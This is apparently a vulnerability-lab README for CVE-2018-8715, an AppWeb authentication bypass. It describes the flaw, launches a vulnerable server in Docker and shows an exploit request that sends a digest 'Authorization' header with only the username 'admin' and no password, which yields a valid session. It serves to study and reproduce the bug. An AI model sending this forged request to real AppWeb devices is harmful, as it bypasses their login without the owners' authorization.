Aaron
63285f61aa
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53 lines
1.8 KiB
Markdown
53 lines
1.8 KiB
Markdown
# AppWeb Authentication Bypass vulnerability (CVE-2018-8715)
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[中文版本(Chinese version)](README.zh-cn.md)
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AppWeb is an embedded Web Server based on an open source GPL agreement that was developed and maintained by Embedthis Software LLC. It is written in C/C++ and can run on almost any modern operating system. Of course, it aims to provide a Web Application container for embedded devices.
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AppWeb can be configured for authentication, which includes the following three authentication methods:
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- `basic`, traditional HTTP basic authentication
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- `digest`, improved HTTP basic authentication. At this mode, the Cookie will be used to authentication instead of `Authorization` header.
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- `form`, HTML based form authentication
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In the Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in `http/httpLib.c`. With a forged HTTP request, it is possible to bypass authentication for the `form` and `digest` login types.
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Reference link:
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- https://ssd-disclosure.com/index.php/archives/3676
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## Vulnerability environment
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Launch an Appweb 7.0.1 server with `digest` authentication by executing the following command:
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```
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docker compose up -d
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```
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To access `http://your-ip:8080`, you need to enter your account password.
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## Exploit
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The current username is `admin`, so you can use following request to bypass the authentication:
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```
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GET / HTTP/1.1
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Host: example.com
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Authorization: Digest username=admin
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```
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As you can see, since we did not pass in the password field, the server error occurred with a `200 status code` and the session setting header:
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The page can be accessed normally with this session header:
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